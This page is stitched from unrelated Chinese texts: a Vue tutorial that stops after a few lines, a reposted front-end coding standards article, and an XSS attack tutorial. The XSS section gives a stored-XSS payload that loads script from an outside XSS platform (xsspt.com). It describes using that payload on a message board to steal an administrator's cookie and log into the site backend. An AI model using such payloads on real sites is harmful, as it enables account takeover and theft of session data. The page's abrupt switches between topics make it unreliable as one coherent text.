整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

「融职培训」Web前端学习 第7章 Vue基础教程3

「融职培训」Web前端学习 第7章 Vue基础教程3 模板语法

、指令

指令 (Directives) 是带有 v- 前缀的特殊属性,在此之前我们学习过的指令如下所示:

  • v-bind
  • v-on

本节我们将会介绍更多的vue指令。

二、条件判断

通过v-if和v-show指令可以控制元素的显示与隐藏,区别如下:

  • v-if='false':不会渲染DOM,查看元素不可见。
  • v-show='false':会渲染DOM,查看元素可见,但是样式为display:none;

下面我们通过事件来控制元素的可见性。

 

TML配置

  • 文件应以“”首行顶格开始,推荐使用“”。
  • 必须申明文档的编码charset,并且使用UTF-8编码。
  • 移动端必须使用 viewport 适配
  • 页面title是极为重要的不可缺少的一项。

以下是一个标准的html结构

html复制代码<!DOCTYPE html>
<html>
  <head>
    <!-- 必须声明 utf-8 编码格式 -->
    <meta charset="utf-8">
    <!-- 页面标题不能为空 -->
    <title>京东商城:商家后台</title>
    <!-- 移动端必须使用 viewport 适配需要, PC 看场景需要使用 -->
    <meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=no">
     
    <!-- 样式文件 以外链形式在此处引入 -->
    <link href="//static.360buyimg.com/bus/test/shop1_3/UI2.0update.css" rel="stylesheet">
  </head>
  <body>
    <!-- 页面主体 -->
    <div class="warp">
      <header>顶部内容区域,比如:菜单头</header>
      <div class="content">主内容区域</div>
      <footer>顶部页尾区域,比如:备案号</footer>
    </div>
     
    <!-- js文件 在此处引入 -->
    <script type="text/javascript" src="//wl.jd.com/joya.js"></script>
  </body>
</html>

主框架(jQuery,vue,react,angular等) 避免混合使用

避免多个框架混合使用,在同一个工程里面要保持主框架的一致性,多框架同时使用会造成代码混乱,后期会变得越来越难维护。

Css开发规范

1、全局样式禁止使用!important

2、避免使用导入式引入css样式文件;

css复制代码<style type="text/css">
  @import url(./demo.css);
</style>

未使用的js/css禁止引用

历史页面会有一些功能下线,在去除页面初始化的js语句的同时,也要将依赖的js文件删除,避免资源加载浪费

文件必须使用gzip压缩

开启Gzip压缩功能, 可以使网站的css、js 、xml、html 文件在传输时进行压缩,提高访问速度

api接口中,无用字段占传输比例30%以上时,删除无用字段

在开发过程中,发现无用字段占传输比例30%以上时,请进行返回数据的删减,加快数据请求速度

关于图片压缩

上传图片之前一定要做图片的无损压缩,节省网络流量,推荐网站tinypng

HTML的标准结构

html复制代码<!DOCTYPE html>
<html>
  <head>
    <!-- 必须声明 utf-8 编码格式 -->
    <meta charset="utf-8">
    <!-- keywords 关键词 和 Description 页面描述 便于搜索引擎检索,不强制使用 -->
    <meta name="Keywords" Content=”关键词1,关键词2,关键词3,关键词4″>
    <meta name="Description" Content=”页面描述″>
    <!-- 移动端必须使用 viewport 适配需要, PC 看场景需要使用 -->
    <meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=no">
    <!-- 推荐手动引入指定路径 favicon  -->
    <link rel="shortcut icon" href="path/to/favicon.ico">
    <!-- 样式文件必须以外链形式在此处引入 -->
    <link href="//static.360buyimg.com/bus/test/shop1_3/UI2.0update.css" rel="stylesheet">
    <!-- 内联样式 -->
    <style type="text/css">
      .warp {
        margin: 0;
        padding: 0;
      }
    </style> -->
    <!-- 页面标题不能为空 -->
    <title>页面标题</title>
  </head>
  <body>
  <!-- 页面主体 -->
    <div class="warp">
    <header>顶部内容区域,比如:菜单头</header>
    <div class="content">主内容区域</div>
    <footer>顶部页尾区域,比如:备案号</footer>
    </div>
 
    <!-- JavaScript 文件在此处引入 -->
    <script type="text/javascript" src="//wl.jd.com/joya.js"></script>
  </body>
</html>
  • 不同模块区域可使用简要备注标识模块内容
  • HTML 标签语义化使结构清晰,比如:
  • CSS 外链引入必须放在 中
  • JS 外链引入必须放在中
  • 省略图像、媒体文件、样式表和脚本等嵌入式资源 URL 协议头部声明 ( http:// , https:// ),用//代替。
  • favicon 在未指定 favicon 时,大多数浏览器会请求 Web Server 根目录下的 favicon.ico 。为了保证 favicon 可访问,避免404,必须遵循以下两种方法之一:1。在 Web Server 根目录放置 favicon.ico 文件,2。使用 link 指定 favicon

HTML标签使用守则

标签小写

原生 HTML 标签元素小写使用,自定义组件使用小驼峰命名(自定义标签避免和原生标签同名)

html复制代码<!-- 错误 ? -->
<DIV></DIV>
<SPAN></SPAN>  
 
<!-- 正确 ? -->
<div></div>  
<p></p> 
 
<!-- 自定义组件 -->
<shareDialog><shareDialog/>

套用规则

禁止在行内元素中嵌套块级元素??

html复制代码<!-- 错误的嵌套 ? -->
<span><div></div></span>  
<i><p></p></i>     
 
<!-- 正确的嵌套 ? -->
<div><span></span></div>  
<p><i></i></p>   

更多标签使用规则介绍请查看尾部附录

属性定义

定义属性赋值时,使用双引号,禁止单双引号混用

html复制代码<!-- 错误的定义 ? -->
<input id="formTitle" type='text' placeholder="请输入标题">   
 
<!-- 正确的定义 ? -->
<input id="formTitle" type="text" placeholder="请输入标题" data="formTitle">   

正确闭合

除自闭合标签外,所有标签都需正确的编写闭合标签

常用自闭合标签: <br />、<col />、<img />、<input />、<link />、<meta />、<keygen />

ID、Class 命名使用规范

ID 和 Class 取通用且有意义的名字;

使用连字符 - 作为 ID、Class 名称界定符 ,不要驼峰命名法和下划线;

避免选择器嵌套层级过多,尽量少于 3 级;

使用命名空间防止命名冲突,利于维护;

css复制代码/* 不推荐: 无意义 不易理解 */
#yee-1901 {}
#meunBtn {}
.login_input {}
 
/* 推荐: 明确详细 */
#gallery {}
#login {}
.login-input {}
.meun-btn {}
  • 避免选择器和 Class、ID 叠加使用
  • 声明顺序,相关属性应为一组,建议遵循: 定位布局属性 -> 盒模型属性 -> 文本属性 -> 视觉属性 -> 其他属性
  • 对于 JS 操作相关选择器 前面需加上 特殊应用标识前缀
css复制代码/* 标准的声明顺序 */
.declaration-order {
  /* 布局属性 */
  position: absolute;
  top: 0;
  right: 0;
  bottom: 0;
  left: 0;
  z-index: 100;
 
  /* 盒模型属性 */
  display: block;
  box-sizing: border-box;
  width: 100px;
  height: 100px;
  padding: 10px;
  border: 1px solid #e5e5e5;
  border-radius: 3px;
  margin: 10px;
  float: right;
  overflow: hidden;
 
  /* 文本属性 */
  font: normal 13px "Helvetica Neue", sans-serif;
  line-height: 1.5;
  text-align: center;
 
  /* 视觉属性 */
  background-color: #f5f5f5;
  color: #fff;
  opacity: .8;
 
  /* 其他属性 */
  cursor: pointer;
}

图片相关使用规范

<img/>标签守则

  • src 属性不能为空,需添加默认值(托底图片路径)
  • 为重要图片添加 alt 属性,当无法显示图像时,浏览器将显示替代文本,便于 SEO 及用户阅读
  • 为图片标签 增加 width 和 height 属性,避免图片加载从无到有,导致页面抖动
  • 大量图片流资源,使用懒加载技术按需加载
html复制代码<!-- 禁止 src 取值为空 -->
<img src="" />
 
<!-- 推荐 -->
<img src="xxxx" alt="xxx" style="width:100px;height:100px;" />

图片资源守则

大小

尺寸 小于 50 ×?50 的请使用 字体图标(iconfont)或者 将多个图标合成一张大图使用(雪碧图) 尺寸大于 50 ×?50 的图片,引入前先使用 在线压缩 对其进行压缩 ,图片大小尽量控制在 300kb 以内

倍率

PC端、移动端 推荐使用 2倍图 (@2x),避免设备分辨率过高,图片显示失真模糊 如有兼容 iPad 场景等特殊场景,可使用 3倍图(@3x)

html复制代码<img src="//logo@200x200.jpg" alt="xx" style="width:100px;height:100px;"/>

2倍图: 图片展示区域大小 : 图片实际尺寸=1 :2

无论使用几倍图,图片大小都需遵守上条限制

如遇图片倍图问题,可咨询 @UI童鞋

性能守则

  • 避免不必要的 DOM 操作浏览器遍历 DOM 元素的代价是昂贵的。最简单优化 DOM 树查询的方案是,当一个元素出现多次时,将它保存在一个变量中,来避免多次查询 DOM 树。
js复制代码/* 推荐用变量保存频繁使用的 DOM 元素*/
var ul=document.getElementsByTagName('ul')[0],
  lis=document.getElementsByTagName('ul')[0].getElementsByTagName('p')
   
/* 推荐用变量保存频繁使用的 DOM 元素*/
var ul=document.getElementsByTagName('ul')[0],
  lis=ul.getElementsByTagName('li')
  • 异步加载第三方内容 当你无法保证嵌入第三方内容 比如 埋点、调研等资源正常工作的时候,你需要考虑用异步加载这些代码,避免阻塞整个页面加载。
  • 减少标签的数量 编写 HTML 代码时,尽量避免多余的标签嵌套,避免 DOM树的冗余
  • 控制静态资源数量

1个页面中建议CSS文件不要超过3个(1个组件库样式文件、1个项目公共样式、1个页面样式); JS文件不要超过5个(1个框架文件、1个组件库文件、1个项目公共库文件、1个页面脚本文件、1个埋点文件)。

编码建议

缩进使用 2个空格 样式建议引入 CSS reset 重置各浏览器自带样式差异 github.com/necolas/nor… JS 中字符串定义 使用 '' 单引号

其他建议

保持一定的代码洁癖,尤其在大型项目中

  • 代码逻辑应当直截了当,清晰易读,保持与业务逻辑与代码一一对应关系,减少逻辑错误的可能性,降低二次开发成本;
  • 删除过期无用代码,减少代码过大,造成不必要的维护成本
  • 代码尽量复用,拥有组件化思想
  • 代码命名合理化,即使不写注释情况下,也可以让其他开发人员一眼明白意思
  • 性能调至最优,降低耦合度,避免别人做不合理的优化时而造成的混乱
  • 整洁的模块边界,明确的划分模块之间的逻辑边界,尽量保证职责单一,避免功能交叉混杂
  • 让代码没有改进的余地,在开发时把各种情况都想到了,如果有人企图改进它,总是会回到原点

性能检测工具 - Lighthouse简介 Lighthouse是一个Google开源的自动化工具,主要用于改进网络应用的质量。Lighthouse会对各个测试项的结果打分,并给出优化建议,这些打分标准和优化建议可以视为Google的网页最佳实践。

Chrome拓展程序 谷歌商店安装lighthouse后,在右上角或者菜单里点击图中图标,Options可以配置测试项目,点击Generate report即可测试。

命令行

js复制代码<!-- 安装 lighthouse 组件(Node.js V5.0 或以上版本) -->
npm install -g lighthouse
<!-- 启动测试 (测试过程中会自动打开 Chrome 完成后会在当前目录生成一个静态HTML文件) -->
lighthouse https://www.baidu.com/ --view
<!-- 帮助-->
lighthouse --help

检测结果

【附录】常用的标签规范

标签

语义

嵌套常见错误

常用属性

<a></a>

超链接/锚

a不可嵌套a

href,name,title,rel,target

<div></div>

块级容器



<p></p>

段落

不能嵌套块级元素


<span></span>

内联容器(行内元素)

不可嵌套块级容器


<form></form>

表单


action,target,method,name

<input />

输入框

不可嵌套元素

type,name,value,checked,disabled,maxlength,readonly,accesskey

<textarea></textarea>

多行文本输入控件


name,accesskey,disabled,readonly,rows,cols

<img />

图像

不可嵌套元素

alt,src,width,height

<label></label>

标签(常用input元素定义标注)

不可嵌套块级容器

for

<table></table>

表格

只可嵌套表格子元素

width,align,background,cellpadding,cellspacing,summary,border

<tbody></tbody>

表格主体

只能嵌套在table内


<thead></thead>

表头

只能嵌套在table内


<tr></tr>

表格行

嵌套于table或thead、tbody、tfoot


<td></td>

表格中的单元格

只用于tr

colspan,rowspan

<th></th>

表格中的标题单元格

只用于tr

colspan,rowspan

<tfoot></tfoot>

表格表尾

只用于table


<button></button>

按钮

不可嵌套表单、表格等块级元素

type,disabled

<select></select>

列表框或下拉框

只能嵌套option或optgroup

name,disabled,multiple

<option></option>

select中的一个选项

只能嵌套在select内

value,selected,disabled

<ol></ol>

有序列表

只能嵌套li


<ul></ul>

无序列表

只能嵌套li


<li></li>

无序列表项

只能嵌套在 ul 或 ol 内


<iframe></iframe>

内嵌一个网页


frameborder,width,height,src,scrolling,name

<br />

换行



<link />

引用样式或icon

不可嵌套任何元素

type,rel,href

<meta />

文档信息

只用于head内

content,http-equiv,name

<script></script>

引用脚本

不可嵌套任何元素

type,src

<style></style>

引用样式

不可嵌套任何元素

type,media

<title></title>

文档标题

只用于head内


点赞收藏支持、手留余香、与有荣焉,动动你发财的小手哟,感谢各位大佬能留下您的足迹。


作者:StriveToY
链接:https://juejin.cn/post/7262378982255394873

随着互联网的不断发展,web应用的互动性也越来越强。相应的,在用户体验提升的同时安全风险也会跟着有所增加。今天,我们就来讲一讲web渗透中常见的攻击方式之一,XSS攻击。首先需要了解他是如何工作的,以及我们如何利用xss。

XSS简介

XSS又叫CSS (CrossSiteScript),因为与层叠样式表(css)重名,所以叫XSS,中文名叫跨站脚本攻击。

特点:凡是存在输入框的地方,都可能存在XSS漏洞。

精髓:先闭合,再构造

首先,我们要明白,XSS是利用javascript脚本语言实现的。

JavaScript

简介:是一种属于网络的脚本语言,已经被广泛用于Web应用开发,常用来为网页添加各式各样的动态功能,为用户提供更流畅美观的浏览效果。通常JavaScript脚本是通过嵌入在HTML中来实现自身的功能的。

Javascript的一些语法常识:

①html中的脚本必须位于<script>与</script>标签之间;

②脚本可被放置在html页面的<body>和<head>部分中;

③语句里面的;(分号)用于分隔javascript语句,使用分号可以一行中编写多条语句;

④javascript对大小写敏感;

⑤javascript会忽略多余的空格;

⑥可以在文本字符串中使用反斜杠对代码进行换行。

那么,基本的理解了,下面开始讲解利用~

XSS攻击类型

XSS攻击目前主要分为三种:

1、反射型XSS

2、存储型XSS

3、DOM型XSS

反射型XSS

简介:当用户访问一个带有XSS代码的URL请求时,服务器端接收数据后处理,然后把带有XSS代码的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,最终造成XSS漏洞。

精髓:向web页面注入恶意代码;这些恶意代码能够被浏览器成功的执行。

反射型经典的XSS语句:<script>alert(“feizhu”)</script>

反射型XSS包括:get类型,post类型。

GET类型:

一般就是直接在url后面插入,或者搜索框插入。

建议抓包看一下,在插入的位置闭合前面的标签。

下面这个网站输入的什么输出的就是什么,所以不需要做闭合标签,如图:

Ok,成功弹窗,说明有XSS存在,很多人认为这个危害不大呀,那只说明你懂的太少,xss利用javascript中的document对象方法可以把它发挥到极致。

例如制作钓鱼网页获取cookie:

POST类型:

原理跟get一样,只不过是以post类型传参,重点也是先闭合标签,再构造payload。

存储型XSS

这种类型的XSS,危害比前一种大得多。比如一个攻击者在论坛的楼层中包含了一段JavaScript代码,并且服务器没有正确进行过滤输出,那就会造成浏览这个页面的用户执行这段JavaScript代码。 ~

简单的说:此类XSS是存储再数据库的,意思就是如果网站存在存储型XSS,那么就可以打到管理员的cookie。其实cookie就是账号跟密码的存储值,有了它,就可以直接登陆网站后台,从而越过账号密码登陆。

我只说一下打管理员cookie:

利用较多的就是留言板,即可以让网站管理员看到你输入到服务器XSS语句的地方,这个思路很多,我只说常见的一种。

利用:利用现成的XSS平台,或者自己搭建一个可以接受XSS的平台,现在网上源码也有很多,根据需求自己搭建。

我们在XSS平台生成用于测试的XSS语句,然后写到留言板提交。

语句:<script src=https://xsspt.com/tmbUTD></script>

好,可以看到成功插入,并未有任何过滤。

接着咱们看XSS平台是否收到cookie。

可以看到,成功拿到管理员的cookie,凭借这个就可直接登陆网站后台。

当然实战中是不可能这么快拿到cookie的,这个是看管理员什么时候查看该留言,才可以获取到的。

DOM型XSS

DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。

DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。

特点:不需要服务器解析,触发XSS靠的是浏览器端的DOM解析。

这个类型的XSS我前天在某src挖到了一个,简单说一下,这类的XSS你需要掌握javascript的document对象的众多方法,我也是简单了解一点~

有你了解的攻击方式吗?可以在留言区交流哦,喜欢的伙伴们记得添加我们的订阅号secdeer~快动一动小手,分享给身边的小伙伴吧~